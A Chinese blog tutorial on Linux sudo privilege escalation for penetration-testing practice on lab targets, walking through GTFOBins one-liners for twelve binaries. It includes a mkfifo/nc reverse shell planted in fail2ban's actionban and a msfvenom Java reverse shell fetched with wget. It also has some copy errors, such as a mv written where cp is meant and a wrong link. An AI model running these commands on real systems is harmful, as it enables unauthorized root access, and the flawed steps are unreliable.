渗透测试:Linux提权精讲(二)之sudo方法第二期

目录

写在开头

sudo expect

sudo fail2ban

sudo find

sudo flock

sudo ftp

sudo gcc

sudo gdb

sudo git

sudo gzip/gunzip

sudo iftop

sudo hping3

sudo java

总结与思考

写在开头

 本文在上一篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:

渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

 本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

 文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。

sudo expect

漏洞利用前提 

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/expect

  详情可见expect | GTFOBins

 expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。

操作方式 

sudo expect -c 'spawn /bin/bash;interact'

其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令

sudo fail2ban

漏洞利用前提 

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /etc/init.d/fail2ban

 fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。

操作方式 

首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:

find -name "fail2ban*" -type d 2>/dev/null

 结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:

find /etc/fail2ban -writable -type d 2>/dev/null

 结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:

345817  -rw-r--r--  1  root  root  1.5k  May  22  15:24  iptables-multport.conf

可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:

mv iptables-multport.conf iptables-multport.conf.bak

执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:

mv iptables-multport.conf.bak iptables-multport.conf

这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:

345123  -rw-r--r--  1  jackie  jackie  1.5k  May  22  15:54  iptables-multport.conf

此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:

actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f

修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:

sudo /etc/init.d/fail2ban restart 

然后进行kali中nc监听刚刚反弹shell的端口1234:

nc -lvnp 1234

最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。

利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:

1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。

2.Linux系统的权限逻辑:配置文件iptables-multport.conf本身是不可编辑的(权限为644,当前用户无法编辑),但iptables-multport.conf所在目录action.d是可写的,我们利用mv和cp命令的权限逻辑,最终使得当前用户jackie对iptables-multport.conf具有可写权限。

sudo find

漏洞利用前提 

当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/find

  详情可见find | GTFOBins

操作方式 

sudo find . -exec /bin/bash \; -quit

运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。

sudo flock

漏洞利用前提 

当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/flock

  flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins

操作方式 

sudo flock -u / /bin/bash

 运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。

sudo ftp

漏洞利用前提 

 当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ftp

  利用详情可见flock | GTFOBins

操作方式 

sudo ftp
!/bin/sh

运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。

sudo gcc

漏洞利用前提 

 当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gcc

  利用详情可见gcc | GTFOBins

操作方式 

sudo gcc -wrapper /bin/bash,-s .

 运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。

sudo gdb

gdb | GTFOBins漏洞利用前提 

 当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gdb

  gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins

操作方式

sudo gdb -nx -ex '!bash' -ex quit

运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。 

sudo git

漏洞利用前提 

 当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/git

  利用详情可见git | GTFOBins

操作方式

sudo git branch --help
!/bin/bash

 通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。

sudo gzip/gunzip

漏洞利用前提 

 当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/gzip

(root) NOPASSWD: /usr/bin/gunzip

  利用详情可见gzip | GTFOBins

操作方式

sudo gzip -f /etc/shadow -t

 运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,我的上一篇博客有类似的利用,比如sudo apache2,详见渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。

sudo iftop

漏洞利用前提 

 当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/iftop

  iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins

 操作方式

sudo iftop
!/bin/bash

 通过输入!告诉工具要执行系统命令,然后启动bash提权。

sudo hping3

漏洞利用前提 

 当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/hping3

  hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins

操作方式

sudo hping3
/bin/bash

 利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。 

sudo java

漏洞利用前提 

 当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/java

遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。 

操作方式

思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:

msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar

然后把这个文件传到靶机上,传统思路,当前目录开启http服务:

php -S 0:80

然后在靶机中把这个shell.jar给他wget下来:

wget http://kali的ip/shell.jar

然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):

java -jar shell.jar

总结与思考

 本文介绍了12种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。

可直接执行系统命令:sudo expect, sudo find, sudo gdb

利用工具运行时触发的脚本:sudo fail2ban

利用工具的某些可以启动shell的参数:sudo flock, sudo gcc

交互命令行可执行系统命令:sudo ftp, sudo itop, sudo hping3

敏感文件泄露:sudo gzip/gunzip

类似在less环境执行系统命令:sudo git

某种语言(编写反弹shell):sudo java

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/52935.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker 部署 mysql8.0 无法访问

文章目录 🗽先来说我的是什么情况🪁问题描述🪁解决方法:✔️1 重启iptables✔️2 重启docker 🪁其他有可能连不上的原因✔️1 客户端不支持caching_sha2_password的加密方式✔️2 my.conf 配置只有本机可以访问 &#…

CTF:信息泄露.(CTFHub靶场环境)

CTF:信息泄露.(CTFHub靶场环境) “ 信息泄露 ” 是指网站无意间向用户泄露敏感信息,泄露了有关于其他用户的数据,例如:另一个用户名的财务信息,敏感的商业 或 商业数据 ,还有一些有…

读取application-dev.properties的中文乱码【bug】

读取application-dev.properties的中文编码【bug】 2023-7-30 22:37:46 版权 禁止其他平台发布时删除以下此话 本文首次发布于CSDN平台 作者是CSDN日星月云 博客主页是https://blog.csdn.net/qq_51625007 禁止其他平台发布时删除以上此话 bug 读取application-dev.propert…

2023年的深度学习入门指南(20) - LLaMA 2模型解析

2023年的深度学习入门指南(20) - LLaMA 2模型解析 上一节我们把LLaMA 2的生成过程以及封装的过程的代码简单介绍了下。还差LLaMA 2的模型部分没有介绍。这一节我们就来介绍下LLaMA 2的模型部分。 这一部分需要一些深度神经网络的基础知识,不懂的话不用着急&#xf…

建木使用进阶-创建密钥管理

阿丹: 第一次我们进入建木,第一件事情就是配置我们相关的密钥。 解读: 在建木中我们可以进行创建密钥来对我们服务器等密码进行方便的管理。 注意: 登录的时候账号为:admin 密码为:123456 这是初始…

Windows环境下git客户端中的git-bash和MinGW64

我们在 Windows10 操作系统下,安装了 git 客户端之后,可以通过 git-bash.exe 打开一个 shell: 执行一些 linux 系统里的命令: 注意到上图紫色的 MINGW64. Mingw-w64 是原始 mingw.org 项目的改进版,旨在支持 Window…

【playbook】Ansible的脚本----playbook剧本

Ansible的脚本----playbook剧本 1.playbook剧本组成2.playbook剧本实战演练2.1 实战演练一:给被管理主机安装Apache服务2.2 实战演练二:使用sudo命令将远程主机的普通用户提权为root用户2.3 实战演练三:when条件判断指定的IP地址2.4 实战演练…

SpringBoot中ErrorPage(错误页面)的使用--【ErrorPage组件】

SpringBoot系列文章目录 SpringBoot知识范围-学习步骤–【思维导图知识范围】 文章目录 SpringBoot系列文章目录本系列校训 SpringBoot技术很多很多环境及工具:必要的知识深层一些的知识 上效果图在Spring Boot里使用ErrorPage还要注意的是 配套资源作业&#xff…

使用Windbg分析从系统应用程序日志中找到的系统自动生成的dump文件去排查问题

目录 1、尝试将Windbg附加到目标进程上进行动态调试,但Windbg并没有捕获到 2、在系统应用程序日志中找到了系统在程序发生异常时自动生成的dump文件 2.1、查看应用程序日志的入口 2.2、在应用程序日志中找到系统自动生成的dump文件 3、使用Windbg静态分析dump文…

Mysql的锁

加锁的目的 对数据加锁是为了解决事务的隔离性问题,让事务之前相互不影响,每个事务进行操作的时候都必须先加上一把锁,防止其他事务同时操作数据。 事务的属性 (ACID) 原子性 一致性 隔离性 持久性 事务的隔离级别 锁…

大数据课程D4——hadoop的YARN

文章作者邮箱:yugongshiyesina.cn 地址:广东惠州 ▲ 本章节目的 ⚪ 了解YARN的概念和结构; ⚪ 掌握YARN的资源调度流程; ⚪ 了解Hadoop支持的资源调度器:FIFO、Capacity、Fair; ⚪ 掌握YA…

jenkins自定义邮件发送人姓名

jenkins发送邮件的时候发送人姓名默认的&#xff0c;如果要自定义发件人姓名&#xff0c;只需要修改如下信息即可&#xff1a; 系统管理-system-Jenkins Location下的系统管理员邮件地址 格式为&#xff1a;自定义姓名<邮件地址>

三分钟白话RocketMQ系列—— 核心概念

目录 关键字摘要 Q1&#xff1a;RocketMQ是什么&#xff1f; Q2: 作为消息中间件&#xff0c;RocketMQ和kafka有什么区别&#xff1f; Q3: RocketMQ的基本架构是怎样的&#xff1f; Q4&#xff1a;RocketMQ有哪些核心概念&#xff1f; 总结 RocketMQ是一个开源的分布式消…

测试|测试分类

测试|测试分类 文章目录 测试|测试分类1.按照测试对象分类&#xff08;部分掌握&#xff09;2.是否查看代码&#xff1a;黑盒、白盒灰盒测试3.按开发阶段分&#xff1a;单元、集成、系统及验收测试4.按实施组织分&#xff1a;α、β、第三方测试5.按是否运行代码&#xff1a;静…

SpringMVC程序开发

1.什么是Spring MVC? Spring Web MVC是基于Servlet API构建的原始的Web框架&#xff0c;从一开始是就包含在Spring框架中。它的正式名称“Spring Web MVC"来自其源模板的名称&#xff08;Spring-webmvc)&#xff0c;但通常被称为“Spring MVC" 从上述的定义我们可…

Unity游戏源码分享-ARPG游戏Darklight.rar

Unity游戏源码分享-ARPG游戏Darklight.rar 玩法 项目地址&#xff1a;https://download.csdn.net/download/Highning0007/88105464

Android Studio 的版本控制Git

Android Studio 的版本控制Git。 Git 是最流行的版本控制工具&#xff0c;本文介绍其在安卓开发环境Android Studio下的使用。 本文参考链接是&#xff1a;https://learntodroid.com/how-to-use-git-and-github-in-android-studio/ 一&#xff1a;Android Studio 中设置Git …

Flowable-服务-微服务任务

目录 定义图形标记XML内容界面操作 定义 Sc 任务不是 BPMN 2.0 规范定义的官方任务&#xff0c;在 Flowable 中&#xff0c;Sc 任务是作为一种特殊的服务 任务来实现的&#xff0c;主要调用springcloud的微服务使用。 图形标记 由于 Sc 任务不是 BPMN 2.0 规范的“官方”任务…

在腾讯云服务器OpenCLoudOS系统中安装mysql(有图详解)

1. 创建MySQL安装目录 mkdir -p app/soft//mysql 2. 进入MySQL安装目录&#xff0c;下载&#xff0c;安装 cd /app/soft/mysql/ wget http://dev.mysql.com/get/mysql-5.7.26-1.el7.x86_64.rpm-bundle.tar 得到安装包&#xff1a; 解压安装包&#xff1a; 查看系统是否自带…

ts一些常用符号

非空断言操作符(!) 具体是指在上下文中当类型检查器无法断定类型时&#xff0c;一个新的后缀表达式操作符 ! 可以用于断言操作对象是非 null 和非 undefined 类型。具体而言&#xff0c;x! 将从 x 值域中排除 null 和 undefined 。 1. 赋值时忽略 undefined 和 null function…
最新文章